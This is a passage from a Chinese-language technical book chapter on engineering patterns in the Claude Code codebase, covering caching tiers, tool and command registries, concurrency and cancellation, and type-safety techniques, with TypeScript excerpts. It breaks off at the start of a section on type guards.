第二十章：工程实践与架构模式（Engineering Patterns）

贯穿 Claude Code 代码库的工程模式不是偶然的——它们是对一组反复出现的问题的系统性回答。

核心问题

Claude Code 不是一个普通的 CLI 工具。它是一个终端内的 IDE 级应用——30+ 内置工具、80+ 斜杠命令、MCP 协议集成、插件系统、多 Agent 并发、React 渲染引擎、流式 API 通信……这些子系统的代码量和复杂度远超典型的 Node.js 项目。

在这样的规模下，工程团队面临一组结构性挑战：

性能与规模的矛盾：模块数量庞大，但 CLI 启动必须快；缓存能提速，但内存不能无限增长。
灵活性与安全的矛盾：LLM 需要强大的工具能力（读写文件、执行命令），但每一步都必须受控。
可扩展性与一致性的矛盾：工具、命令、插件、MCP 服务器都可以扩展系统能力，但它们必须遵循统一的接口和生命周期。
并发与正确性的矛盾：多个工具可以并行执行以提高效率，但文件写入和命令执行不能冲突。
模块化与循环依赖的矛盾：代码需要拆分成小模块以便维护，但模块间的相互引用容易形成循环。
类型安全与 LLM 不确定性的矛盾：TypeScript 提供编译期类型安全，但 LLM 生成的 JSON 可能不符合预期类型。

本章从源码中提炼出 Claude Code 对这些问题的系统性回答——不是孤立的技巧，而是贯穿整个代码库的架构模式。

20.1 缓存与记忆化模式（Caching & Memoization）

面临的问题

Claude Code 中有大量计算结果在短期内不会变化的操作：

git 可执行文件路径在整个会话中不变
系统平台信息（macOS/Linux/Windows）永远不变
配置文件内容在用户不修改时不变
MCP 工具列表在服务器不重启时不变
Markdown 渲染结果在源文本不变时不变

如果每次需要这些值时都重新计算，会产生大量不必要的 I/O（子进程 spawn、文件读取）和 CPU 开销。但简单的"缓存一切"策略有两个风险：

内存泄漏：无界缓存会随着会话时长无限增长（lodash 的 memoize 曾导致 300MB+ 内存占用）
数据过期：缓存的值可能已经过时，返回陈旧数据比不缓存更危险

核心问题：如何在"避免重复计算"和"避免内存泄漏 + 数据过期"之间取得平衡？

解法：三层缓存体系

Claude Code 在 src/utils/memoize.ts 中实现了三种记忆化策略，分别对应不同的缓存需求：

┌─────────────────────────────────────────────────────────────┐
│                    缓存策略选择矩阵                          │
├──────────────────┬──────────────┬───────────────────────────┤
│ 策略              │ 适用场景      │ 内存控制                  │
├──────────────────┼──────────────┼───────────────────────────┤
│ lodash memoize   │ 进程生命周期  │ 无界（仅用于不变值）       │
│                  │ 内的不变值    │                           │
├──────────────────┼──────────────┼───────────────────────────┤
│ memoizeWithTTL   │ 可能过期的值  │ TTL 过期 + 后台刷新       │
│ (Async)          │ (凭证/配置)  │ + 并发去重                │
├──────────────────┼──────────────┼───────────────────────────┤
│ memoizeWithLRU   │ 高频热路径    │ 有界 LRU 驱逐             │
│                  │ (解析/渲染)  │ (默认 max=100)            │
├──────────────────┼──────────────┼───────────────────────────┤
│ WeakMap          │ 对象关联缓存  │ 自动 GC（键被回收时       │
│                  │ (DOM/消息)   │ 缓存自动消失）             │
└──────────────────┴──────────────┴───────────────────────────┘

策略一：lodash memoize — 进程级不变值

用于在整个进程生命周期内不会变化的值。这是最简单的策略——计算一次，永远缓存。

typescript

// src/utils/git.ts
export const gitExe = memoize((): string => {
  // 查找 git 可执行文件路径 — 进程内不会变
  return which.sync('git', { nothrow: true }) ?? 'git'
})

// src/utils/platform.ts
export const getPlatform = memoize((): 'mac' | 'windows' | 'linux' => {
  // 操作系统不会在运行时改变
  ...
})

// src/context.ts
export const getSystemContext = memoize(async (): Promise<string> => {
  // git status、分支信息等 — 会话开始时获取一次
  ...
})

源码中有 40+ 处使用 lodash memoize，覆盖：git 路径、平台检测、调试模式、配置目录、CA 证书、IDE 检测、GrowthBook 客户端、插件加载等。

为什么不担心内存？ 因为这些值的数量是有限的（几十个），每个值的大小也很小（字符串或小对象）。无界缓存在这里不是问题。

策略二：memoizeWithTTL — 带过期的写穿缓存

用于可能过期但重新获取代价高昂的值，如云凭证、远程配置。

typescript

// src/utils/memoize.ts — 核心实现
export function memoizeWithTTL<Args, Result>(
  f: (...args: Args) => Result,
  cacheLifetimeMs: number = 5 * 60 * 1000, // 默认 5 分钟
): MemoizedFunction<Args, Result> {
  const cache = new Map<string, CacheEntry<Result>>()

  const memoized = (...args: Args): Result => {
    const cached = cache.get(key)

    // 冷启动：阻塞计算
    if (!cached) {
      const value = f(...args)
      cache.set(key, { value, timestamp: now, refreshing: false })
      return value
    }

    // 过期但未在刷新中：返回旧值，后台刷新
    if (now - cached.timestamp > cacheLifetimeMs && !cached.refreshing) {
      cached.refreshing = true  // 防止多个并行刷新
      Promise.resolve().then(() => {
        const newValue = f(...args)
        // 身份守卫：如果 cache.clear() 在刷新期间被调用，
        // 不要用旧的刷新结果覆盖新的缓存条目
        if (cache.get(key) === cached) {
          cache.set(key, { value: newValue, timestamp: Date.now(), refreshing: false })
        }
      })
      return cached.value  // 立即返回旧值
    }

    return cached.value
  }
}

这个实现有几个精妙之处：

1. 写穿（Write-Through）语义：缓存过期时不阻塞调用者，而是返回旧值并在后台刷新。这对用户体验至关重要——AWS 凭证刷新可能需要数秒，阻塞等待会让 CLI 卡住。

2. 身份守卫（Identity Guard）：if (cache.get(key) === cached) 这行检查防止了一个微妙的竞态条件——如果在后台刷新期间有人调用了 cache.clear()（比如用户切换了 AWS profile），新的冷启动会存入一个新的缓存条目。如果没有身份守卫，后台刷新完成后会用旧 profile 的凭证覆盖新 profile 的凭证。

3. 异步版本的并发去重：memoizeWithTTLAsync 额外维护了一个 inFlight Map，防止多个并发冷启动调用各自独立执行昂贵操作：

typescript

// src/utils/memoize.ts
const inFlight = new Map<string, Promise<Result>>()

// 冷启动时：
if (!cached) {
  const pending = inFlight.get(key)
  if (pending) return pending  // 复用已有的 in-flight 请求
  const promise = f(...args)
  inFlight.set(key, promise)
  // ...
}

注释中解释了为什么需要这个：

For refreshAndGetAwsCredentials that means N concurrent aws sso login spawns.

没有去重，10 个并发 API 请求各自触发凭证刷新，就会 spawn 10 个 aws sso login 子进程。

实际使用：

typescript

// src/utils/auth.ts — AWS 凭证刷新
export const refreshAndGetAwsCredentials = memoizeWithTTLAsync(
  async () => { /* aws sso login ... */ },
  5 * 60 * 1000  // 5 分钟 TTL
)

// src/services/api/metricsOptOut.ts — 遥测 opt-out 检查
const memoizedCheckMetrics = memoizeWithTTLAsync(
  async () => { /* 检查用户是否 opt-out */ },
  5 * 60 * 1000
)

策略三：memoizeWithLRU — 有界 LRU 缓存

用于输入空间大、调用频繁的热路径，如路径解析、JSON 解析、命令规格查找。

typescript

// src/utils/memoize.ts
export function memoizeWithLRU<Args, Result>(
  f: (...args: Args) => Result,
  cacheFn: (...args: Args) => string,  // 自定义 key 生成
  maxCacheSize: number = 100,
): LRUMemoizedFunction<Args, Result> {
  const cache = new LRUCache<string, Result>({ max: maxCacheSize })
  // ...
}

为什么需要 LRU？ 注释中有一段关键说明：

Cache size for memoized message processing functions. Chosen to prevent unbounded memory growth (was 300MB+ with lodash memoize) while maintaining good cache hit rates for typical conversations.

lodash 的 memoize 使用无界 Map 缓存，对于消息处理这类输入空间巨大的函数，缓存会无限增长。LRU 通过驱逐最久未使用的条目来限制内存。

实际使用：

typescript

// src/utils/git.ts — git root 查找（max 50）
export const findGitRootImpl = memoizeWithLRU(
  (dir: string) => { /* 递归查找 .git */ },
  (dir) => dir,
  50
)

// src/utils/json.ts — JSON 解析缓存（max 50）
export const parseJSONCached = memoizeWithLRU(
  (text: string) => JSON.parse(text),
  (text) => text,
  50
)

// src/utils/bash/registry.ts — Bash 命令规格查找
export const getCommandSpec = memoizeWithLRU(...)

策略四：WeakMap — 对象关联的自动 GC 缓存

用于以对象为键的缓存场景。当键对象被垃圾回收时，缓存条目自动消失。

typescript

// src/components/StructuredDiff.tsx — Diff 渲染缓存
const RENDER_CACHE = new WeakMap<object, ReactNode>()

// src/utils/zodToJsonSchema.ts — Zod → JSON Schema 转换缓存
const cache = new WeakMap<z.ZodType, JsonSchema>()

// src/utils/groupToolUses.ts — 工具分组缓存
const GROUPING_CACHE = new WeakMap<object, Set<string>>()

// src/components/VirtualMessageList.tsx — 消息文本缓存
const fallbackLowerCache = new WeakMap<object, string>()

为什么用 WeakMap 而不是 Map？ 消息对象在上下文压缩后会被丢弃。如果用 Map 缓存，旧消息的渲染结果会永远留在内存中。WeakMap 让缓存的生命周期自动跟随键对象——消息被 GC 时，缓存也随之消失。

设计决策讨论

为什么不用统一的缓存框架？

四种策略看似可以统一为一个 Cache<K, V> 抽象，但它们的语义差异太大：

lodash memoize：同步、无界、永不过期
TTL：同步/异步、无界、定时过期 + 后台刷新
LRU：同步、有界、按使用频率驱逐
WeakMap：同步、自动 GC、无法枚举

强行统一会引入不必要的抽象层，增加每次缓存访问的开销。在性能关键路径上，直接使用最合适的原语比通过抽象层间接使用更好。

TTL 缓存的"身份守卫"模式值得特别关注

这个模式在源码中反复出现——不仅在 memoize.ts 中，还在 MCP 客户端、OAuth 刷新等场景中。它解决的是一个通用问题：异步操作完成时，世界可能已经变了。通过在异步操作前后检查"我操作的对象是否还是同一个"，可以安全地处理并发失效。

20.2 注册表与可扩展性模式（Registry & Extensibility）

面临的问题

Claude Code 的能力不是固定的——它需要支持：

30+ 内置工具，部分工具受 feature flag 门控
80+ 斜杠命令，来自内置、插件、Skills 多个来源
多种任务类型（Shell、Agent、Remote、Workflow、Dream）
MCP 服务器提供的外部工具和资源
插件提供的自定义工具、命令、Hooks
Skills提供的预打包工作流

这些扩展点有一个共同的结构性问题：如何让多个来源的组件在统一的接口下注册、发现和执行？

如果每个扩展点都用 ad-hoc 的方式实现，代码库会充满不一致的注册逻辑、发现逻辑和合并逻辑。

解法：统一的注册表模式

Claude Code 在工具、命令、任务三个核心维度上使用了一致的注册表模式：

┌─────────────────────────────────────────────────────────────────┐
│                      注册表模式架构                               │
│                                                                  │
│  ┌──────────┐   ┌──────────┐   ┌──────────┐   ┌──────────┐    │
│  │ 内置组件  │   │ MCP 组件  │   │ 插件组件  │   │ Skill 组件│    │
│  └────┬─────┘   └────┬─────┘   └────┬─────┘   └────┬─────┘    │
│       │              │              │              │            │
│       ▼              ▼              ▼              ▼            │
│  ┌─────────────────────────────────────────────────────────┐   │
│  │              合并层 (useMergedTools / useMergedCommands)  │   │
│  │  • 去重（内置优先）                                       │   │
│  │  • 权限过滤                                              │   │
│  │  • Feature flag 门控                                     │   │
│  └─────────────────────────────────────────────────────────┘   │
│       │                                                         │
│       ▼                                                         │
│  ┌─────────────────────────────────────────────────────────┐   │
│  │              统一工具池 / 命令池                           │   │
│  │  （QueryEngine / 命令分发器 消费）                         │   │
│  └─────────────────────────────────────────────────────────┘   │
└─────────────────────────────────────────────────────────────────┘

工具注册表：`tools.ts`

工具注册表是最复杂的，因为它需要处理 feature flag 门控、条件加载和多来源合并。

typescript

// src/tools.ts — 简化后的核心结构

// 1. 静态导入：始终可用的工具
import { BashTool } from './tools/BashTool/BashTool.js'
import { FileReadTool } from './tools/FileReadTool/FileReadTool.js'
import { FileEditTool } from './tools/FileEditTool/FileEditTool.js'
// ... 20+ 个始终可用的工具

// 2. 条件 require：受 feature flag 或用户类型门控的工具
const REPLTool =
  process.env.USER_TYPE === 'ant'
    ? require('./tools/REPLTool/REPLTool.js').REPLTool
    : null

const SleepTool =
  feature('PROACTIVE') || feature('KAIROS')
    ? require('./tools/SleepTool/SleepTool.js').SleepTool
    : null

// 3. 延迟 require：打破循环依赖
const getTeamCreateTool = () =>
  require('./tools/TeamCreateTool/TeamCreateTool.js').TeamCreateTool
const getSendMessageTool = () =>
  require('./tools/SendMessageTool/SendMessageTool.js').SendMessageTool

// 4. 注册表函数：收集所有可用工具
export function getAllBaseTools(): Tool[] {
  const tools: Tool[] = [
    BashTool, FileReadTool, FileEditTool, GlobTool, GrepTool,
    // ... 始终可用的工具
  ]
  if (REPLTool) tools.push(REPLTool)
  if (SleepTool) tools.push(SleepTool)
  // ... 条件工具
  return tools
}

// 5. 过滤函数：根据权限上下文裁剪
export function getTools(permissionContext: ToolPermissionContext): Tool[] {
  return getAllBaseTools().filter(tool =>
    tool.isEnabled(permissionContext)
  )
}

// 6. 合并函数：内置 + MCP 工具
export function assembleToolPool(
  permissionContext: ToolPermissionContext,
  mcpTools: Tool[],
): Tool[] {
  return mergeAndFilterTools(getTools(permissionContext), mcpTools)
}

这个设计有三个层次：

层次一：注册——工具通过静态导入或条件 require 注册到 getAllBaseTools() 中。feature flag 在编译期或模块加载期决定工具是否存在。

层次二：过滤——getTools() 根据运行时的权限上下文（权限模式、子代理类型等）过滤工具。同一个工具在不同上下文中可能可用或不可用。

层次三：合并——assembleToolPool() 将内置工具与 MCP 工具合并，内置工具在名称冲突时优先。

命令注册表：`commands.ts`

命令注册表面临一个额外的挑战：命令来自五个不同的来源，需要按优先级合并。

typescript

// src/commands.ts — 简化后的核心结构

// 内置命令（memoized，只构建一次）
const COMMANDS = memoize((): Command[] => [
  ClearCommand, CompactCommand, ConfigCommand, CostCommand,
  // ... 40+ 内置命令
  ...(feature('BRIDGE_MODE') ? [BridgeCommand] : []),
  ...(feature('VOICE_MODE') ? [VoiceCommand] : []),
])

// 多来源聚合
export async function loadAllCommands(cwd: string): Promise<Command[]> {
  const commands: Command[] = []

  // 来源 1: 内置 Skills（bundled skills）
  commands.push(...getBundledSkills())

  // 来源 2: 内置插件 Skills
  commands.push(...getBuiltinPluginSkills())

  // 来源 3: 用户 Skills 目录
  commands.push(...await loadSkillsDir(cwd))

  // 来源 4: 工作流命令
  commands.push(...await loadWorkflowCommands())

  // 来源 5: 插件命令和 Skills
  commands.push(...await getPluginCommands())
  commands.push(...await getPluginSkills())

  // 来源 6: 内置命令（最后添加，但去重时优先）
  commands.push(...COMMANDS())

  return uniqBy(commands, c => c.name)  // 按名称去重
}

任务注册表：`tasks.ts`

任务注册表更简单，但使用了相同的模式：

typescript

// src/tasks.ts
const LocalWorkflowTask = feature('TEMPLATES')
  ? require('./tasks/LocalWorkflowTask/LocalWorkflowTask.js').LocalWorkflowTask
  : null

export function getAllTasks(): Task[] {
  // 注释：Returns array inline to avoid circular dependency issues
  // with top-level const
  const tasks: Task[] = [
    LocalShellTask, LocalAgentTask, RemoteAgentTask, DreamTask,
  ]
  if (LocalWorkflowTask) tasks.push(LocalWorkflowTask)
  return tasks
}

注释揭示了一个重要细节：用函数而不是顶层 const。如果用 const ALL_TASKS = [...]，模块求值时就会执行数组构建，此时条件 require 的模块可能还没准备好（循环依赖）。用函数延迟到调用时才构建，避免了这个问题。

`buildTool`：工厂 + 默认值填充

工具注册表还有一个关键的辅助函数——buildTool，它将"工具定义"（ToolDef，部分字段可选）转化为"完整工具"（Tool，所有字段必填）：

typescript

// src/Tool.ts
export function buildTool<D extends ToolDef>(def: D): BuiltTool<D> {
  return {
    isEnabled: () => true,
    isReadOnly: () => false,
    isConcurrencySafe: () => false,
    shouldDefer: false,
    alwaysLoad: false,
    strict: false,
    // ... 更多安全默认值
    ...def,  // 用户定义覆盖默认值
  }
}

这是一个经典的 Builder 模式——提供安全的默认值，让工具作者只需要关心自己特有的字段。特别注意默认值的选择：isReadOnly: () => false、isConcurrencySafe: () => false——默认不安全，需要工具作者显式声明安全性。这是"安全默认"原则的体现。

设计决策讨论

为什么不用依赖注入（DI）框架？

Angular 风格的 DI 容器（如 InversifyJS、tsyringe）在大型 TypeScript 项目中很常见。但 Claude Code 选择了更简单的"函数注册表"模式，原因可能是：

DI 框架引入运行时开销——装饰器、反射、容器查找。对于启动性能敏感的 CLI，这是不可接受的。
DI 框架增加认知负担——新贡献者需要理解 DI 容器的生命周期、作用域、绑定规则。函数注册表的语义是显而易见的。
Claude Code 的"依赖"是静态的——工具列表在启动时确定，运行时不变。不需要 DI 框架提供的动态绑定能力。

为什么合并时"内置优先"？

当 MCP 工具与内置工具同名时，内置工具胜出。这是一个安全决策——如果 MCP 服务器可以覆盖内置的 BashTool，它就能绕过所有内置的安全检查。内置优先确保了核心工具的行为不会被外部组件篡改。

20.3 并发与取消模式（Concurrency & Cancellation）

面临的问题

Claude Code 的工具执行天然涉及并发：

模型一次可能返回多个 tool_use block（比如同时读取 3 个文件）
用户可能在工具执行过程中按 Ctrl+C 取消
子代理（subagent）需要独立的取消域——取消子代理不应影响父代理
后台预取（git status、用户信息）与前台交互并行
MCP 服务器连接、重连、超时需要精细的生命周期控制

这些场景引出两个核心问题：

如何安全地并发执行工具？ 多个文件读取可以并行，但文件写入和 bash 命令不能。
如何优雅地取消？ 取消必须传播到所有子操作，但不能泄漏资源（未清理的子进程、未关闭的连接）。

解法一：基于 `isConcurrencySafe` 的工具分区执行

Claude Code 在 src/services/tools/toolOrchestration.ts 中实现了一个精巧的工具执行调度器：

typescript

// src/services/tools/toolOrchestration.ts

// 将工具调用分区为"可并发批次"和"串行批次"
function partitionToolCalls(
  toolUseMessages: ToolUseBlock[],
  toolUseContext: ToolUseContext,
): Batch[] {
  return toolUseMessages.reduce((acc: Batch[], toolUse) => {
    const tool = findToolByName(toolUseContext.options.tools, toolUse.name)
    const parsedInput = tool?.inputSchema.safeParse(toolUse.input)
    const isConcurrencySafe = parsedInput?.success
      ? (() => {
          try {
            return Boolean(tool?.isConcurrencySafe(parsedInput.data))
          } catch {
            // 解析失败时保守处理：视为不安全
            return false
          }
        })()
      : false

    // 连续的安全工具合并为一个并发批次
    if (isConcurrencySafe && acc[acc.length - 1]?.isConcurrencySafe) {
      acc[acc.length - 1]!.blocks.push(toolUse)
    } else {
      acc.push({ isConcurrencySafe, blocks: [toolUse] })
    }
    return acc
  }, [])
}

执行流程：

模型返回: [FileRead A, FileRead B, BashTool C, FileRead D, FileRead E]

分区结果:
  批次 1: [FileRead A, FileRead B]  → isConcurrencySafe = true  → 并发执行
  批次 2: [BashTool C]              → isConcurrencySafe = false → 串行执行
  批次 3: [FileRead D, FileRead E]  → isConcurrencySafe = true  → 并发执行

执行时间线:
  ├─ 批次1: FileRead A ──┐
  │         FileRead B ──┤ 并发，等待两者完成
  │                      ▼
  ├─ 批次2: BashTool C ────── 独占执行
  │                      ▼
  └─ 批次3: FileRead D ──┐
            FileRead E ──┤ 并发
                         ▼

并发执行使用了 src/utils/generators.ts 中的 all() 函数——一个基于 AsyncGenerator 的并发控制器：

typescript

// src/utils/generators.ts
export async function* all<A>(
  generators: AsyncGenerator<A, void>[],
  concurrencyCap = Infinity,
): AsyncGenerator<A, void> {
  const waiting = [...generators]
  const promises = new Set<Promise<QueuedGenerator<A>>>()

  // 启动初始批次（不超过并发上限）
  while (promises.size < concurrencyCap && waiting.length > 0) {
    promises.add(next(waiting.shift()!))
  }

  while (promises.size > 0) {
    // Promise.race：哪个先完成就处理哪个
    const { done, value, generator, promise } = await Promise.race(promises)
    promises.delete(promise)

    if (!done) {
      promises.add(next(generator))  // 继续消费这个 generator
      if (value !== undefined) yield value
    } else if (waiting.length > 0) {
      promises.add(next(waiting.shift()!))  // 启动下一个 generator
    }
  }
}

这个 all() 函数的设计值得注意：

它不是 Promise.all——Promise.all 等待所有完成后一次性返回。all() 是一个 AsyncGenerator，边完成边 yield，让调用者可以流式处理结果。
它支持并发上限——默认 Infinity，但可以通过 CLAUDE_CODE_MAX_TOOL_USE_CONCURRENCY 环境变量限制（默认 10）。
它是惰性的——只有当一个 generator 完成时，才启动等待队列中的下一个。这实现了背压（backpressure）。

解法二：WeakRef 安全的 AbortController 层级

取消是 Claude Code 中最精细的并发问题。src/utils/abortController.ts 实现了一个内存安全的父子取消层级：

typescript

// src/utils/abortController.ts

export function createChildAbortController(
  parent: AbortController,
  maxListeners?: number,
): AbortController {
  const child = createAbortController(maxListeners)

  // 快速路径：父已取消
  if (parent.signal.aborted) {
    child.abort(parent.signal.reason)
    return child
  }

  // WeakRef 防止父持有已废弃子的强引用
  const weakChild = new WeakRef(child)
  const weakParent = new WeakRef(parent)
  const handler = propagateAbort.bind(weakParent, weakChild)

  parent.signal.addEventListener('abort', handler, { once: true })

  // 子被取消时，自动清理父上的监听器
  child.signal.addEventListener(
    'abort',
    removeAbortHandler.bind(weakParent, new WeakRef(handler)),
    { once: true },
  )

  return child
}

这个实现解决了三个问题：

1. 内存泄漏：如果用普通闭包监听父的 abort 事件，父会通过事件监听器持有子的强引用。即使子已经完成并被丢弃，它也无法被 GC——因为父还"记得"它。WeakRef 打破了这个引用链。

2. 监听器累积：每创建一个子 controller，就在父上添加一个监听器。如果不清理，长时间运行的父 controller 会累积大量死监听器。子被取消时自动移除父上的监听器。

3. 闭包分配：注释中提到 Module-scope function avoids per-call closure allocation——propagateAbort 和 removeAbortHandler 是模块级函数（通过 .bind() 传参），而不是每次调用 createChildAbortController 时创建的闭包。这减少了 GC 压力。

取消层级在实际中的应用：

主会话 AbortController
  │
  ├─ 子代理 AbortController (createChildAbortController)
  │   ├─ 工具执行 AbortController
  │   └─ API 请求 AbortController
  │
  ├─ 后台预取 AbortController
  │
  └─ MCP 连接 AbortController

用户按 Ctrl+C → 主会话 abort → 所有子自动 abort
子代理完成 → 子代理 controller 被 GC → 父上的监听器自动清理

解法三：`sequential()` — 串行化包装器

对于必须串行执行的操作（如文件写入、数据库更新），src/utils/sequential.ts 提供了一个通用的串行化包装器：

typescript

// src/utils/sequential.ts
export function sequential<T extends unknown[], R>(
  fn: (...args: T) => Promise<R>,
): (...args: T) => Promise<R> {
  const queue: QueueItem<T, R>[] = []
  let processing = false

  async function processQueue(): Promise<void> {
    if (processing) return
    processing = true

    while (queue.length > 0) {
      const { args, resolve, reject, context } = queue.shift()!
      try {
        const result = await fn.apply(context, args)
        resolve(result)
      } catch (error) {
        reject(error)
      }
    }

    processing = false
    // 处理期间可能有新项入队
    if (queue.length > 0) void processQueue()
  }

  return function (this: unknown, ...args: T): Promise<R> {
    return new Promise((resolve, reject) => {
      queue.push({ args, resolve, reject, context: this })
      void processQueue()
    })
  }
}

这个实现的关键特性：

保序：调用顺序 = 执行顺序 = 结果返回顺序
非阻塞入队：调用者立即得到 Promise，不需要等待前面的操作完成
错误隔离：一个操作失败不影响队列中的其他操作
this 保留：通过 fn.apply(context, args) 保留调用上下文

解法四：并发去重（In-Flight Deduplication）

多个并发调用者请求同一个昂贵操作时，只应执行一次。这个模式在源码中反复出现：

typescript

// 模式：in-flight Map
const inFlight = new Map<string, Promise<Result>>()

async function expensiveOperation(key: string): Promise<Result> {
  // 已有 in-flight 请求？复用它
  const pending = inFlight.get(key)
  if (pending) return pending

  // 创建新请求
  const promise = doExpensiveWork(key)
  inFlight.set(key, promise)

  try {
    return await promise
  } finally {
    // 身份守卫：只删除自己创建的条目
    if (inFlight.get(key) === promise) {
      inFlight.delete(key)
    }
  }
}

实际应用场景：

场景	文件	防止的问题
AWS 凭证刷新	`utils/auth.ts`	N 个并发请求各自 spawn `aws sso login`
OAuth 401 处理	`utils/auth.ts`	N 个并发 401 各自触发 token refresh
MCP 工具获取	`services/mcp/client.ts`	重复获取同一服务器的工具列表
推荐资格检查	`services/api/referral.ts`	重复调用推荐 API
Bridge 重连	`bridge/replBridge.ts`	多个并发重连尝试

设计决策讨论

为什么用 AsyncGenerator 而不是 RxJS Observable？

Claude Code 的流式处理全部基于 AsyncGenerator（源码中有 150+ 个 async function*），而不是 RxJS 或其他响应式库。原因可能是：

AsyncGenerator 是语言原生特性——不需要额外依赖，不需要学习 Observable 的操作符语义。
背压是内置的——for await...of 自然地实现了消费者驱动的拉取模型。Observable 需要额外的背压机制（如 bufferCount、throttle）。
取消是自然的——generator.return() 或 break 就能终止生成器。Observable 需要 unsubscribe()。
调试更直观——AsyncGenerator 的执行流是线性的，可以在 yield 处设断点。Observable 的操作符链在调试时很难追踪。

Trade-off 是：AsyncGenerator 不支持多播（一个 generator 只能被一个消费者消费），也不支持复杂的组合操作（如 combineLatest、switchMap）。但 Claude Code 的流式场景大多是单生产者-单消费者的线性管道，不需要这些能力。

为什么 isConcurrencySafe 默认为 false？

typescript

// src/Tool.ts — buildTool 的默认值
isConcurrencySafe: () => false,  // 默认不安全

这是**安全默认（Secure by Default）**原则——新工具如果忘记声明并发安全性，会被串行执行。串行执行可能慢一点，但不会出错。如果默认为 true，忘记声明的写入工具可能被并发执行，导致数据竞争。

20.4 类型安全模式（Type Safety）

面临的问题

Claude Code 面临一个独特的类型安全挑战：它的核心输入来自 LLM，而 LLM 的输出是不可预测的。

传统应用的输入来自用户表单（有 HTML 约束）、API 请求（有 schema 验证）、数据库（有 schema 定义）。这些输入虽然需要验证，但至少格式是可预期的。

LLM 生成的 JSON 则不同：

模型可能把布尔值写成字符串："replace_all": "false" 而不是 "replace_all": false
模型可能把数字写成字符串："timeout": "30" 而不是 "timeout": 30
模型可能遗漏必填字段或添加未知字段
模型可能生成完全不符合 schema 的 JSON

同时，Claude Code 内部有大量需要类型安全的场景：

工具输入/输出需要类型化
配置文件需要验证
消息类型需要区分（用户消息 vs 助手消息 vs 系统消息）
ID 类型不能混淆（SessionId vs AgentId）
状态对象需要不可变性保证

核心问题：如何在"LLM 输出的不确定性"和"TypeScript 的类型安全"之间架起桥梁？

解法一：Zod Schema — 运行时类型验证

Claude Code 使用 Zod 作为运行时类型验证的核心工具。每个工具都通过 Zod schema 定义输入格式：

typescript

// 典型的工具 schema 定义
const inputSchema = z.strictObject({
  file_path: z.string().describe('The absolute path to the file to modify'),
  old_string: z.string().describe('The text to replace'),
  new_string: z.string().describe('The text to replace it with'),
  replace_all: semanticBoolean(z.boolean().default(false)),
})

type Input = z.output<typeof inputSchema>

几个关键设计选择：

1. z.strictObject 而非 z.object

源码中有 37 处使用 z.strictObject()。与 z.object() 的区别是：strictObject 会拒绝未知字段。这防止了模型生成的额外字段被静默忽略——如果模型添加了一个 force: true 字段，strictObject 会报错而不是忽略它。

2. semanticBoolean — 容忍 LLM 的类型偏差

typescript

// src/utils/semanticBoolean.ts
export function semanticBoolean<T extends z.ZodType>(
  inner: T = z.boolean() as unknown as T,
) {
  return z.preprocess(
    (v: unknown) => (v === 'true' ? true : v === 'false' ? false : v),
    inner,
  )
}

这个函数解决了一个 LLM 特有的问题：模型有时会把布尔值写成字符串。z.boolean() 会直接拒绝 "false"，而 z.coerce.boolean() 会把 "false" 转为 true（因为 JS 的 truthiness 规则）。semanticBoolean 是正确的中间方案——只接受 "true" 和 "false" 两个字符串，其他值仍然走正常的 boolean 验证。

注释中特别强调了一个微妙之处：

z.preprocess emits {"type":"boolean"} to the API schema, so the model is still told this is a boolean — the string tolerance is invisible client-side coercion, not an advertised input shape.

发送给模型的 JSON Schema 仍然说这是 boolean 类型——字符串容忍是客户端的隐式行为，不会"教"模型发送字符串。

3. lazySchema — 延迟 schema 构建

typescript

// src/utils/lazySchema.ts
export function lazySchema<T>(factory: () => T): () => T {
  let cached: T | undefined
  return () => (cached ??= factory())
}

这个 8 行的函数解决了两个问题：

打破循环依赖：Schema A 引用 Schema B，Schema B 引用 Schema A。通过延迟构建，模块加载时不需要对方已经就绪。
减少启动开销：Zod schema 的构建涉及大量对象分配。如果所有 30+ 工具的 schema 在模块加载时同步构建，会增加启动时间。lazySchema 将构建推迟到第一次使用时。

解法二：Branded Types — 编译期 ID 混淆防护

typescript

// src/types/ids.ts
export type SessionId = string & { readonly __brand: 'SessionId' }
export type AgentId = string & { readonly __brand: 'AgentId' }

export function asSessionId(id: string): SessionId {
  return id as SessionId
}

export function toAgentId(s: string): AgentId | null {
  return AGENT_ID_PATTERN.test(s) ? (s as AgentId) : null
}

这是 TypeScript 的 Branded Type 模式。SessionId 和 AgentId 在运行时都是普通字符串，但在编译期是不同的类型。如果你把 SessionId 传给期望 AgentId 的函数，TypeScript 会报错。

为什么需要这个？ 因为 Claude Code 中有大量 ID 在不同上下文中传递——会话 ID、代理 ID、任务 ID、消息 ID。它们都是字符串，很容易混淆。Branded Type 让编译器帮你检查。

注意 toAgentId 的设计——它不仅做类型转换，还做格式验证（正则匹配 a + 可选标签 + 16 位十六进制）。这是"在边界处验证"原则的体现：从外部进入系统的 ID 必须经过验证，系统内部传递时靠类型系统保证正确性。

解法三：Discriminated Unions — 穷尽式分支处理

Claude Code 大量使用 TypeScript 的可辨识联合（Discriminated Union）来建模"多种可能"的场景：

typescript

// src/types/permissions.ts — 权限决策
type PermissionDecision =
  | PermissionAllowDecision   // { behavior: 'allow', ... }
  | PermissionAskDecision     // { behavior: 'ask', ... }
  | PermissionDenyDecision    // { behavior: 'deny', ... }

// src/types/plugin.ts — 插件错误（15+ 种变体）
type PluginError =
  | { type: 'path-not-found'; path: string }
  | { type: 'git-auth-failed'; url: string }
  | { type: 'git-timeout'; url: string; timeoutMs: number }
  | { type: 'network-error'; url: string; message: string }
  | { type: 'manifest-parse-error'; path: string; message: string }
  // ... 10+ 更多变体

// src/vim/types.ts — Vim 状态机
type VimState =
  | { mode: 'INSERT'; insertedText: string }
  | { mode: 'NORMAL'; command: CommandState }

// src/types/command.ts — 命令结果
type LocalCommandResult =
  | { type: 'text'; value: string }
  | { type: 'compact'; compactionResult: CompactionResult }
  | { type: 'skip' }

Discriminated Union 的核心价值是穷尽性检查（Exhaustiveness Check）——当你用 switch 处理联合类型时，TypeScript 会确保你处理了所有变体。如果未来添加了新的错误类型，所有 switch 语句都会报编译错误，强制你处理新情况。

解法四：DeepImmutable — 防止意外修改

typescript

// src/state/AppStateStore.ts
export type AppState = DeepImmutable<{
  settings: SettingsJson
  messages: Message[]
  tasks: TaskState[]
  // ...
}>

// src/Tool.ts
export type ToolPermissionContext = DeepImmutable<{
  mode: PermissionMode
  // ...
}>

DeepImmutable 递归地将所有属性标记为 readonly，所有数组标记为 ReadonlyArray。这在编译期防止了对状态的意外修改——你不能 state.messages.push(msg)，必须通过 setAppState(prev => ({ ...prev, messages: [...prev.messages, msg] })) 创建新状态。

解法五：类型守卫 — 运行时类型收窄

typescript

// src/utils/messagePredicates.ts
